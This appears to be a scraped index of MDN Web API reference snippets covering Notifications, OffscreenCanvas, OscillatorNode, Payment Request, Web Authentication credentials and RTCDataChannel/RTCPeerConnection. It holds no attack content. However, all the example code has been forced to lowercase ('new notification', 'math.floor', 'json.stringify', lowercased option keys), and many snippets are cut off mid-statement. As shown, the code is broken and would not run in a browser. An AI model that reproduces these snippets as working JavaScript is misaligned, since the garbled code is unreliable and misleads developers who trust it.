Notification.permission - Web APIs
function notifyme() { // let's check if the browser supports notifications if (!("notification" in window)) { console.log("this browser does not support desktop notification"); } // let's check whether notification permissions have alredy been granted else if (notification.permission === "granted") { // if it's okay let's create a notification var notification = new notification("hi there!"); } // otherwise, we need to ask the user for permission else if (notification.permission !== 'denied' || notification.permission === "default") { notification.requestpermission(function (permission) { // if the user accepts, let's create a notification if (permission === "granted") { var notification = new notification("hi there!"); }...
Notification.requestPermission() - Web APIs
function notifyme() { // let's check if the browser supports notifications if (!("notification" in window)) { alert("this browser does not support desktop notification"); } // let's check whether notification permissions have already been granted else if (notification.permission === "granted") { // if it's okay let's create a notification var notification = new notification("hi there!"); } // otherwise, we need to ask the user for permission else if (notification.permission !== "denied") { notification.requestpermission().then(function (permission) { // if the user accepts, let's create a notification if (permission === "granted") { var notification = new notification("hi there!"); } }); } // at last, if the...
Notification.requireInteraction - Web APIs
syntax function spawnnotification(thetitle,thebody,shouldrequireinteraction) { var options = { body: thebody, requireinteraction: shouldrequireinteraction } var n = new notification(thetitle,options); } value a boolean.
Notification.silent - Web APIs
var options = { body: 'do you like my body?', silent: true } var n = new notification('test notification', options); console.log(n.silent) // should log true specifications specification status comment notifications apithe definition of 'silent' in that specification.
Notification.timestamp - Web APIs
var dts = math.floor(date.now()); var options = { body: 'do you like my body?', timestamp: dts } var n = new notification('test notification',options); console.log(n.timestamp) // should log original timestamp specifications specification status comment notifications apithe definition of 'timestamp' in that specification.
Notification.title - Web APIs
examples function spawnnotification(thebody,theicon,thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle,options); console.log(n.title) } specifications specification status comment notifications apithe definition of 'title' in that specification.
Notification.vibrate - Web APIs
var options = { body: 'do you like my body?', vibrate: [200, 100, 200] } var n = new notification('test notification',options); console.log(n.vibrate) // should log [200,100,200] specifications specification status comment notifications apithe definition of 'vibrate' in that specification.
NotificationAction - Web APIs
self.registration.shownotification("new mail from alice", { actions: [ { action: 'archive', title: 'archive' } ] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'archive') { // archive action was clicked archiveemail(); } else { // main body of notification was clicked clients.openwindow('/inbox'); } }, false); specifica...
NotificationEvent.action - Web APIs
example self.registration.shownotification("new articles available", { actions: [{action: "get", title: "get now."}] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'get') { synchronizereader(); } else { clients.openwindow("/reader"); } }, false); specifications specification status comment notifications apithe definition of 'acti...
NotificationEvent - Web APIs
constructor notificationevent() creates a new notificationevent object.
Notifications API - Web APIs
next, a new notification is created using the notification() constructor.
OfflineAudioCompletionEvent - Web APIs
constructor offlineaudiocompletionevent.offlineaudiocompletionevent creates a new offlineaudiocompletionevent object instance.
OfflineAudioContext: complete event - Web APIs
bubbles no cancelable no default action none interface offlineaudiocompletionevent event handler property offlineaudiocontext.oncomplete examples when processing is complete, you might want to use the oncomplete handler the prompt the user that the audio can now be played, and enable the play button: let offlineaudioctx = new offlineaudiocontext(); offlineaudioctx.addeventlistener('complete', () => { console.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; }) you can also set up the event handler using the offlineaudiocontext.oncomplete property: let offlineaudioctx = new offlineaudiocontext(); offlineaudioctx.oncomplete = function()...
OfflineAudioContext.oncomplete - Web APIs
syntax var offlineaudioctx = new offlineaudiocontext(); offlineaudioctx.oncomplete = function() { ...
OffscreenCanvas.convertToBlob() - Web APIs
examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
OffscreenCanvas.convertToBlob() - Web APIs
examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
OffscreenCanvas.getContext() - Web APIs
examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); gl; // webglrenderingcontext gl.canvas; // offscreencanvas specifications specification status comment html living standardthe definition of 'offscreencanvas.getcontext()' in that specification.
OffscreenCanvas.height - Web APIs
syntax var pxl = offscreen.height; offscreen.height = pxl; examples creating a new offscreen canvas and returning or setting the height of the offscreen canvas: var offscreen = new offscreencanvas(256, 256); offscreen.height; // 256 offscreen.height = 512; specifications specification status comment html living standardthe definition of 'offscreencanvas.height' in that specification.
OffscreenCanvas.convertToBlob() - Web APIs
examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
OffscreenCanvas.transferToImageBitmap() - Web APIs
examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
OffscreenCanvas.width - Web APIs
syntax var pxl = offscreen.width; offscreen.width = pxl; examples creating a new offscreen canvas and returning or setting the width of the offscreen canvas: var offscreen = new offscreencanvas(256, 256); offscreen.width; // 256 offscreen.width = 512; specifications specification status comment html living standardthe definition of 'offscreencanvas.width' in that specification.
OscillatorNode.detune - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.detune.setvalueattime(100, audioctx.currenttime); // value in cents oscillator.start(); specifications specification status comment ...
OscillatorNode.frequency - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'frequency' in that specification.
OscillatorNode.onended - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.value = 440; // value in hertz oscillator.start(); // start the tone playing oscillator.stop(5); // the tone will stop again in 5 seconds.
OscillatorNode.setPeriodicWave() - Web APIs
var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by definition a sine wave.
OscillatorNode.start() - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'start' in that specification.
OscillatorNode.stop() - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.connect(audioctx.destination); oscillator.start(); oscillator.stop(audioctx.currenttime + 2); // stop 2 seconds after the current time specifications specification status comment web audio apithe definition of 'stop' in that specifi...
OscillatorNode.type - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'type' in that specification.
OverconstrainedError - Web APIs
constructor overconstrainederror.overconstrainederror() creates a new overconstrainederror object.
Page Visibility API - Web APIs
the user doesn't lose their place in the video, the video's soundtrack doesn't interfere with audio in the new foreground tab, and the user doesn't miss any of the video in the meantime.
ParentNode.childElementCount - Web APIs
the document and documentfragment implemented the new interfaces.
ParentNode.firstElementChild - Web APIs
the document and documentfragment implemented the new interfaces.
ParentNode.lastElementChild - Web APIs
the document and documentfragment implemented the new interfaces.
ParentNode.prepend() - Web APIs
each node can be specified as either a node object or as a string; strings are inserted as new text nodes.
ParentNode.replaceChildren() - Web APIs
the parentnode.replacechildren() method replaces the existing children of a node with a specified new set of children.
ParentNode - Web APIs
parentnode.replacechildren() replaces the existing children of a node with a specified new set of children.
PasswordCredential.additionalData - Web APIs
navigator.credentials.get(options).then(function(creds) { if (creds.type == 'password') { var form = new formdata(); var csrf_token = document.queryselector('csrf_token').value; form.append('csrf_token', csrf_token); creds.additionaldata = form; fetch('https://www.example.com', { method: 'post', credentials: creds }); }; }); specifications specification status comment credential management level 1 working draft initial definition.
Path2D.addPath() - Web APIs
WebAPIPath2DaddPath
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create first path and add a rectangle let p1 = new path2d(); p1.rect(0, 0, 100, 150); // create second path and add a rectangle let p2 = new path2d(); p2.rect(0, 0, 100, 75); // create transformation matrix that moves 200 points to the right let m = document.createelementns('http://www.w3.org/2000/svg', 'svg').createsvgmatrix(); m.a = 1; m.b = 0; m.c = 0; m.d = 1; m.e = 200; m.f = 0; // add second path to the first path p1.addpath(p2, m); // ...
PaymentMethodChangeEvent - Web APIs
constructor paymentmethodchangeevent() creates and returns a new paymentmethodchangeevent object, optionally initialized with values taken from a given paymentmethodchangeeventinit dictionary.
PaymentRequest.abort() - Web APIs
var request = new paymentrequest(supportedinstruments, details, options); var paymenttimeout = window.settimeout(() => { window.cleartimeout(paymenttimeout); request.abort().then(() => { print('payment timed out after 20 minutes.'); }).catch(() => { print('unable to abort, because the user is currently in the process ' + 'of paying.'); }); }, 20 * 60 * 1000); /* 20 minutes */ specifications spe...
PaymentRequest.prototype.id - Web APIs
WebAPIPaymentRequestid
const details = { id: "super-store-order-123-12312", total: { label: "total due", amount: { currency: "usd", value: "65.00" }, }, }; const request = new paymentrequest(methoddata, details); console.log(request.id); // super-store-order-123-12312 the id is then also available in the paymentresponse returned from the show() method, but under the requestid attribute.
PaymentRequest.onshippingaddresschange - Web APIs
var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of clarity.
PaymentRequest.onshippingoptionchange - Web APIs
var request = new paymentrequest(supportedinstruments, details, options); // when user selects a shipping address request.addeventlistener('shippingaddresschange', e => { e.updatewith(((details, addr) => { var shippingoption = { id: '', label: '', amount: { currency: 'usd', value: '0.00' }, selected: true }; // shipping to us is supported if (addr.country === 'us') { ...
PaymentRequest.shippingAddress - Web APIs
var payment = new paymentrequest(supportedinstruments, details, options); payment.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for brevity.
PaymentRequest: shippingaddresschange event - Web APIs
const paymentrequest = new paymentrequest(methoddata, details, options); paymentrequest.addeventlistener("shippingaddresschange", event => { let detailsupdate = checkaddress(paymentrequest.shippingaddress); event.updatewith(detailsupate); }, false); const checkaddress = theaddress => { let detailsupdate = {}; // check the address, return a paymentdetailsupdate object // with any changes or errors.
PaymentRequest - Web APIs
constructor paymentrequest() secure context creates a new paymentrequest object.
PaymentResponse.complete() - Web APIs
var payment = new paymentrequest(supportedinstruments, details, options); payment.show().then(function(paymentresponse) { var fetchoptions = { method: 'post', credentials: include, body: json.stringify(paymentresponse) }; var serverpaymentrequest = new request('secure/payment/endpoint'); fetch(serverpaymentrequest, fetchoptions).then( response => { if (response.status < 400) { paymen...
PaymentResponse.onpayerdetailchange - Web APIs
const options = { requestshipping: true, requestpayeremail: true, requestpayername: true, requestpayerphone: true, }; const request = new paymentrequest(methods, details, options); const response = request.show(); // get the data from the response let { payername: oldpayername, payeremail: oldpayeremail, payerphone: oldpayerphone, } = response; // set up a handler for payerdetailchange events, to // request corrections as needed.
PaymentResponse: payerdetailchange event - Web APIs
const options = { requestshipping: true, requestpayeremail: true, requestpayername: true, requestpayerphone: true, }; const request = new paymentrequest(methods, details, options); const response = request.show(); // get the data from the response let { payername: oldpayername, payeremail: oldpayeremail, payerphone: oldpayerphone, } = response; // set up a handler for payerdetailchange events, to // request corrections as needed.
PaymentResponse.shippingAddress - Web APIs
var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity.
PaymentResponse.shippingOption - Web APIs
var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingoptionchange', function(evt) { evt.updatewith(new promise(function(resolve, reject) { updatedetails(details, request.shippingoption, resolve, reject); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity.
Payment Request API - Web APIs
it is not a new way for paying for things; rather, it's a way for users to select their preferred way of paying for things, and make that information available to a merchant.
performance.clearResourceTimings() - Web APIs
example function load_resource() { var image = new image(); image.src = "https://developer.mozilla.org/static/img/opengraph-logo.png"; } function clear_performance_timings() { if (performance === undefined) { log("browser does not support web performance"); return; } // create a resource timing performance entry by loading an image load_resource(); var supported = typeof performance.clearresourcetimings == "function"; if (s...
performance.measure() - Web APIs
return value void example the following example shows how measure() is used to create a new measure performance entry in the browser's performance entry buffer.
PerformanceObserver.observe() - Web APIs
var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); ...
PerformanceObserver.takeRecords() - Web APIs
example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); var records = observer.takerecords(); console.log(records[0].name); console.log(records[0].starttime); console.log(records[0].duration); specifications specification status comment performance timeline level 2the definition...
PerformanceObserverEntryList - Web APIs
example // create observer for all performance event types // list is of type performanceobserveentrylist var observe_all = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); for (var i = 0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); // do something with it } }) specifications specification status comment performance timeline level 2the definition of 'performanceobserverentrylist' in that specification.
PerformanceTiming.requestStart - Web APIs
if the transport layer fails after the start of the request and the connection is reopened, this property will be set to the time corresponding to the new request.
PerformanceTiming - Web APIs
if the transport layer fails after the start of the request and the connection is reopened, this property will be set to the time corresponding to the new request.
Performance API - Web APIs
performanceobserver provides methods and properties used to observe performance measurement events and be notified of new performance entries as they are recorded in the browser's performance timeline.
Permissions.query() - Web APIs
WebAPIPermissionsquery
example navigator.permissions.query({name:'geolocation'}).then(function(result) { if (result.state == 'granted') { showlocalnewswithgeolocation(); } else if (result.state == 'prompt') { showbuttontoenablelocalnews(); } // don't do anything if the permission was denied.
Permissions - Web APIs
example navigator.permissions.query({name:'geolocation'}).then(function(result) { if (result.state === 'granted') { showlocalnewswithgeolocation(); } else if (result.state === 'prompt') { showbuttontoenablelocalnews(); } // don't do anything if the permission was denied.
PhotoCapabilities - Web APIs
const input = document.queryselector('input[type="range"]'); var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosetting...
PluginArray - Web APIs
var pluginslength = navigator.plugins.length; document.body.innerhtml = pluginslength + " plugin(s)<br>" + '<table id="plugintable"><thead>' +'<tr><th>name</th><th>filename</th><th>description</th><th>version</th></tr>' +'</thead><tbody></tbody></table>'; var table = document.getelementbyid('plugintable'); for(var i = 0; i < pluginslength; i++) { let newrow = table.insertrow(); newrow.insertcell().textcontent = navigator.plugins[i].name; newrow.insertcell().textcontent = navigator.plugins[i].filename; newrow.insertcell().textcontent = navigator.plugins[i].description; newrow.insertcell().textcontent = navigator.plugins[i].version?navigator.plugins[i].version:""; } the following example displays information about the installed plugin(s).
Multi-touch interaction - Web APIs
// log events flag var logevents = false; // event caches, one per touch target var evcache1 = new array(); var evcache2 = new array(); var evcache3 = new array(); register event handlers event handlers are registered for the following pointer events: pointerdown, pointermove and pointerup.
Pinch zoom gestures - Web APIs
// global vars to cache event state var evcache = new array(); var prevdiff = -1; register event handlers event handlers are registered for the following pointer events: pointerdown, pointermove and pointerup.
PublicKeyCredential.rawId - Web APIs
examples var options = { challenge: new uint8array(26) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pu...
PublicKeyCredential.response - Web APIs
examples var options = { challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredentia...
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
examples var publickey = { authenticatorselection:{ authenticatorattachment: "cross-platform", requireresidentkey: true, userverification: "required" }, challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (new...
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
examples var publickey = { pubkeycredparams: [ // we would like an elliptic curve to be used if possible { type: "public-key", alg: -7 }, // if not, then we will fallback on an rsa algorithm { type: "public-key", alg: -37 } ], challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", } }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client ext...
PublicKeyCredentialCreationOptions.rp - Web APIs
examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com", icon: "https://login.example.com/login.ico" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (...
PublicKeyCredentialRequestOptions.challenge - Web APIs
examples var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authenticat...
PublicKeyCredentialRequestOptions.extensions - Web APIs
examples var options = { extensions: { uvm: true, loc: false, txauthsimple: "could you please verify yourself?" }, challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authenticat...
PublicKeyCredentialRequestOptions.rpId - Web APIs
examples var options = { challenge: new uint8array([/* bytes sent from the server */]), rpid: "example.com" // will only work if the current domain // is something like foo.example.com }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) ...
PublicKeyCredentialRequestOptions.timeout - Web APIs
examples var options = { challenge: new uint8array([/* bytes sent from the server */]), timeout: 6000 // wait a minute for the fetching operation // and maybe fail if it takes longer }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { ...
PublicKeyCredentialRequestOptions.userVerification - Web APIs
examples var options = { userverification: "preferred", challenge: new uint8array([/* bytes sent from the server */]), }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authenticat...
PushEvent.data - Web APIs
WebAPIPushEventdata
self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment ...
PushManager.subscribe() - Web APIs
a new push subscription is created if the current service worker does not have an existing subscription.
PushManager - Web APIs
a new push subscription is created if the current service worker does not have an existing subscription.
RTCDTMFToneChangeEvent - Web APIs
constructors rtcdtmftonechangeevent() returns a new rtcdtmftonechangeevent.
RTCDataChannel.binaryType - Web APIs
var dc = peerconnection.createdatachannel("binary"); dc.binarytype = "arraybuffer"; dc.onmessage = function(event) { let bytearray = new uint8array(event.data); let hexstring = ""; bytearray.foreach(function(byte) { hexstring += byte.tostring(16) + " "; }); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.binarytype' in that specification.
RTCDataChannel: bufferedamountlow event - Web APIs
let pc = new rtcpeerconnection(); let dc = pc.createdatachannel("sendfile"); let source = /* source data object */ dc.bufferedamountlowthreshold = 65536; pc.addeventlistener("bufferedamountlow", ev => { if (source.position <= source.length) { dc.send(source.readfile(65536)); } }, false); after creating the rtcpeerconnection, this calls rtcpeerconnection.createdatachannel() to create the data chann...
RTCDataChannel.close() - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); dc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function ( console.log("datachannel close"); }; // now negotiate the connection and so forth...
RTCDataChannel: error event - Web APIs
rror", "invalid stream identifier", "missing mandatory parameter", "stale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unrecognized parameters", "no user data (sctp data chunk has no data)", "cookie received while shutting down", "restart of an association with new addresses", "user-initiated abort", "protocol violation" ]; dc.addeventlistener("error", ev => { const err = ev.error; console.error("webrtc error: ", err.message); // handle specific error detail types switch(err.errordetail) { case "sdp-syntax-error": console.error(" sdp syntax error in line ", err.sdplinenumber); break; case "idp-load-failure": cons...
RTCDataChannel.id - Web APIs
WebAPIRTCDataChannelid
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); console.log("channel id: " + dc.id); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.id' in that specification.
RTCDataChannel.label - Web APIs
var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); /* ...
RTCDataChannel.onbufferedamountlow - Web APIs
pc = new rtcpeerconnection(); dc = pc.createdatachannel("sendfile"); /* ...
RTCDataChannel.onclose - Web APIs
let pc = new rtcpeerconnection(); let dc = pc.createdatachannel("messagechannel")}}; dc.onopen = function(event) { document.getelementbyid("messagebox").disabled = false; document.getelementbyid("sendbutton").disabled = false; }; dc.onclose = function(event) { document.getelementbyid("messagebox").disabled = true; document.getelementbyid("sendbutton").disabled = true; } /* now negotiate the connect...
RTCDataChannel.onerror - Web APIs
let pc = new rtcpeerconnection(); let dc = pc.createdatachannel("playercontrol"); dc.onerror = function(event) { myuilibrary.doalertbox({ 'network error', // alert title 'the error "' + event.message + '" occurred while handling player control network messages.', event.filename, event.lineno, event.colno }); } /* ...
RTCDataChannel.onopen - Web APIs
example this example adds a new data channel to an existing rtcpeerconnection, mypeerconnection.
RTCDataChannel.ordered - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); if (!dc.ordered) { // handle unordered messaging } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.ordered' in that specification.
RTCDataChannel.protocol - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel", { protocol: "json" }); function handlechannelmessage(datachannel, msg) { switch(datachannel.protocol) { case "json": /* process json data */ break; case "raw": /* process raw binary data */ break; } } specifications specification status comment webrtc 1.0:...
RTCDataChannel.reliable - Web APIs
use rtcdatachannel.ordered instead in any new code, and update existing code as soon as possible.
RTCDataChannel.send() - Web APIs
var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("backchannel"); function sendmessage(msg) { let obj = { "message": msg, "timestamp": new date() } dc.send(json.stringify(obj)); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.send()' in that specification.
RTCDataChannel - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status comment webrtc 1.0: real-time communication between br...
RTCError - Web APIs
WebAPIRTCError
constructor rtcerror() creates and returns a new rtcerror object initialized with the properties of the provided rtcerrorinit dictionary and, optionally, a string to use as the value of the error's message property.
RTCErrorEvent - Web APIs
constructor rtcerrorevent() creates and returns a new rtcerrorevent object.
RTCIceCandidate.port - Web APIs
the a-line string is obtained either from the rtcicecandidateinit property candidate or from a-line string passed into the constructor upon using new rtcicecandidate().
RTCIceCandidate.priority - Web APIs
var bestcandidate = { candidate: "", sdpmid: null, sdpmlineindex: null, priority: 0 }; function handlecandidate(candidatestring) { var candidate = new rtcicecandidate(candidatestring); if (candidate.priority > bestcandidate.priority) { bestcandidate = candidate; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.priority' in that specification.
RTCIceCandidate.sdpMLineIndex - Web APIs
this value is specified when creating the rtcicecandidate by setting the corresponding sdpmlineindex value in the rtcicecandidateinit object when creating a new candidate with new rtcicecandidate().
RTCIceCandidate.sdpMid - Web APIs
this property can be configured by specifying the value of the sdpmid property when constructing the new candidate object using rtcicecandidate().
RTCIceGathererState - Web APIs
values "new" the rtcicetransport is newly created and has not yet started to gather ice candidates.
RTCIceServer - Web APIs
urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: [ "stun:stun.example.com", "stun:stun-1.example.com" ] }] }; var pc = new rtcpeerconnection(configuration); once the configuration object has been created, it is passed into the rtcpeerconnection() constructor to use it as the configuration for the new peer connection.
RTCIceTransport.onstatechange - Web APIs
to determine the new state, examine the value of state.
RTCIceTransport: selectedcandidatepairchange event - Web APIs
a selectedcandidatepairchange event is sent to an rtcicetransport when the ice agent selects a new pair of candidates that describe the endpoints of a viable connection.
RTCIceTransport.state - Web APIs
its value will be one of the following: "new" the rtcicetransport is currently gathering local candidates, or is waiting for the remote device to begin to transmit the remote candidates, or both.
RTCIceTransportState - Web APIs
values "new" the rtcicetransport is currently gathering local candidates, or is waiting for the remote device to begin to transmit the remote candidates, or both.
RTCIdentityEvent.assertion - Web APIs
syntax var blob = event.assertion; example pc.onidentityresult = function( ev ) { alert("a new identity assertion (blob: '" + ev.assertion + "') has been generated."); } ...
RTCIdentityEvent - Web APIs
examples pc.onidentityresult = function( ev ) { alert("a new identity assertion (blob: '" + ev.assertion + "') has been generated."); } ...
RTCOfferOptions - Web APIs
icerestart optional a boolean which, when set to true, tells createoffer() to generate and use new values for the identifying properties of the sdp it creates, resulting in a request that triggers renegotiation of the ice connection.
RTCPeerConnection: addstream event - Web APIs
the obsolete addstream event is sent to an rtcpeerconnection when new media, in the form of a mediastream object, has been added to it.
RTCPeerConnection.currentLocalDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.currentlocaldescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentlocaldescri...
RTCPeerConnection.currentRemoteDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.currentremotedescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentremotedesc...
RTCPeerConnection: datachannel event - Web APIs
bubbles no cancelable no interface rtcdatachannelevent event handler property ondatachannel examples this example sets up a function that handles datachannel events by gathering the information needed to communicate with the newly added rtcdatachannel and by adding event handlers for the events that occur on that channel.
RTCPeerConnection.generateCertificate() - Web APIs
example rtcpeerconnection.generatecertificate({ name: 'rsassa-pkcs1-v1_5', hash: 'sha-256', moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]) }).then(function(cert) { var pc = new rtcpeerconnection({certificates: [cert]}); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'generatecertificate()' in that specification.
RTCPeerConnection.getDefaultIceServers() - Web APIs
example var pc = new rtcpeerconnection(); var iceservers = pc.getdefaulticeservers(); if (iceservers.length === 0) { // deal with the lack of default ice servers, possibly by using our own defaults } specifications specification status comment webrtc extensions ...
RTCPeerConnection.getIdentityAssertion() - Web APIs
example var pc = new peerconnection(); pc.getidentityassertion(); // not mandatory, but we know that we will need it in the future.
RTCPeerConnection.getStats() - Web APIs
this form of getstats() has been or will soon be removed from most browsers; you should not use it, and should update existing code to use the new promise-based version.
RTCPeerConnection: icegatheringstatechange event - Web APIs
when ice firststarts to gather connection candidates, the value changes from new to gathering to indicate that the process of collecting candidate configurations for the connection has begun.
RTCPeerConnection.localDescription - Web APIs
